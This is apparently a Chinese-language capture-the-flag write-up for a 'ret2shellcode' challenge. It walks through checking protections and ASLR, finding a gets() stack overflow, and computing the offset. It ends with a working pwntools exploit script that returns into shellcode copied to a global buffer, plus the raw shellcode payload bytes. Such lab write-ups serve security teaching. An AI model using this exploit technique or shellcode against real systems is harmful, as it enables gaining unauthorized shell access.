拿到题目先checksec一下文件,发现基本没有保护,则很可能存在栈溢出漏洞
检查系统ASLR是否随机化,使用命令 cat /proc/sys/kernel/randomize_va_space
ASLR:地址空间分布随机化;操作系统的一个保护措施,一个全局变量
/proc/sys/kernel/randomize_va_space=0:无随机化
/proc/sys/kernel/randomize_va_space=1:保留随机化,共享库,栈,mmap(),VDSO随机化
/proc/sys/kernel/randomize_va_space=2:完全随机化
可以通过sudo sysctl -w kernel.randomize_va_space=0命令进行修改,要root权限
发现地址完全随机化,所以不能进行简单的栈溢出
将文件反汇编查看,看到gets()函数,存在溢出漏洞
栈中地址为示意图为:所以我们目标就是用s溢出改变return address地址
所以我们要先知道当前s地址要多少才能溢出到return address,因此进行动态调试
先调试中输入正常的8个字节,计算地址距离
我们可以发现AAAAAAAA存入0xffffd0cc,而ebp在0xffffd138,相减距离为0x6c,因此构造的payload需要填充0x6c字节+4字节ebp地址空间的垃圾数据(十进制则一共112字节)
payload = (112)*b’A’ + p32()
那问题来了,这题并没有后门函数,该劫持到那呢?该如何攻击呢?
所以我们要自己写shellcode函数
pwn库有shellcode自动生成函数 shellcraft.sh(),但我们要把该汇编码变成机器码
使用asm(shellcraft.sh())变成机器码
tip:
32位:shellcraft.i386.linux.sh()
64位:shellcraft.amd64.linux.sh()
但问题来了,该系统开启了ASLR完全随机化,虽然shellcode有了,但并不知道shellcode的具体地址
于是我们返回汇编查看,看到下面这行。
strncpy(buf2, &s, 0x64u) 该行表示将&s处的数据后,大小为0x64写入buf2中
点入buf2,发现其是一个全局变量
因此我们考虑先把shellcode输入到s中,然后s又被写入buf2中,因此shellcode被写入buf2中,因此我们只要转到buf2的地址即可完成攻击。
总结下,这时候我们生成了shellcode可以存入buf2,又可以将返回值溢出到buf2,因此开始构造攻击程序
from pwn import *
io = process("./ret2shellcode")
io.recv()
shellcode = asm(shellcraft.sh())
buf2 = 0x0804A080
payload = shellcode.ljust(112, b'A') + p32(buf2)
io.sendline(payload)
io.interactive()
即可攻击成功!!!
Tips:
Python ljust() 方法返回一个原字符串左对齐,并使用填充字符串至指定长度的新字符串。如果指定的长度小于原字符串的长度则返回原字符串。
上面payload为:
b’jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\xa0\x04\x08’
不知道为什么,我在kali一直都失败,但在其他虚拟机都可以成功